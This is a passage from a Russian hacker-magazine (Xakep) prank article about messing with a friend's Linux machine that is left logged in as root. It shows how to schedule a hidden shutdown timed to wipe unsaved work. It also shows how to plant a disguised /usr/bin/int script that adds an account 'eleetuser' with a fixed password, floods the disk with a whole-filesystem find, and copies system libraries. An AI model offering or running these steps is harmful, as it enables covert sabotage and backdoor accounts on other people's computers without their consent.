Оторвись над другом-линуксоидом!

Xakep, номер #040, стр. 040-070-1


SHuRuP (http://nix.h1.ru)

В связи с очень быстрым развитием OS Linux ежеминутно респятся новые юзеры этой замечательной операционной системы, следовательно шанс, что у тебя есть друг - начинающий_nix_гуру - возрастает до размеров последних ChangeLog'ов ядра линукса в битах, умноженных на количество найденных переполнений буфера во всевозможных приложениях для unix-like систем за последний месяц. Из всего этого логично будет, если этот твой друг юзает X-Windows+KDE и, безусловно, сидит под root'ом, а у тебя уже не однажды всплывала идея показать ему, где сисадмины зимуют...

1) halting system

Требуется: KDE + root + совсем немного времени.

Пока обладатель компа с загруженным пингвином под root идет варить пельмени, жмем +, вызываем терминал (если нет нигде похожей иконки, то смотрим в KDE меню -> Terminals -> XTerm) и набиваем shutdown -h X (лучше добавить в конце символ "&"), где X - время в минутах до начала выключения компьютера (постарайся сделать так, чтобы именно в этот момент линуксоид работал над чем-нибудь важным или играл в самую любимую гамесу, в которой нет сейвов ;), можно использовать и с другими ключами (см. shutdown --help для хелпа), например, интересен ключ "r" - ребут системы. После проделанного западла необходимо спрятать окошко консоли и появившегося предупреждения aka broadcast message, если стоят миниатюрные окошки каждого дополнительного desktop'а в нижней панели. Теперь опять тыкаем + до возвращения в изначальный рабочий стол и, радостно потирая мышку о коврик, поджидаем жертву.

P.S. Если при попытке перегрузиться в другой десктоп ничего не получается, то кликай right-button'ом хвостатого по рабочему столу, далее Configure Desktop -> Number of Desktops, устанавливаем еще парочку desktop'ов.

2) loading eleet scripts

Требуется: console/x-window + root + достаточное количество времени.

Эта фишка уже будет работать совсем не только в KDE... Ее идея: запугать неподготовленного пользователя странными действиями сразу после загрузки linux'а. Загружаем текстовый редактор и создаем файл /usr/bin/int (или что-нибудь похожее, его название не должно вызывать никаких подозрений), то есть, например, в консоли - emacs /usr/bin/int или vi /usr/bin/int , а в иксах - gedit /usr/bin/int или kwrite /usr/bin/int. В этот файл записываем примерно следующее:

#!/bin/sh

#первый скрипт, загрузка проца и создание объемного файла с результатами поиска по шаблону *.* в /main01

echo "* eleet script 01 coded by SHuRuP *" >/main01 && echo "trying to find *.*" >>/main01 && find / *.* -print 1>>/main01 2>/dev/null &

#второй скрипт, загрузка процессора и харда путем копирования различных библиотек

#создание юзера eleetuser с паролем 31337, создание логов в /main02

echo "* eleet script 02 coded by SHuRuP *" >/main02 && echo "trying to create user" >>/main02 && adduser -d /home/eleet -p 31337 eleetuser && echo "eleetuser has been successfully created" >>/main02 &

mkdir /home/eleer/lib 2>/dev/null && echo "/home/eleet/lib has been successfully created" >>/main02 && cp -R /lib /home/eleet/lib 2>/dev/null && echo "libs from /lib has been successfully copied" >>/main02 &

Содержание  Вперед на стр. 040-070-2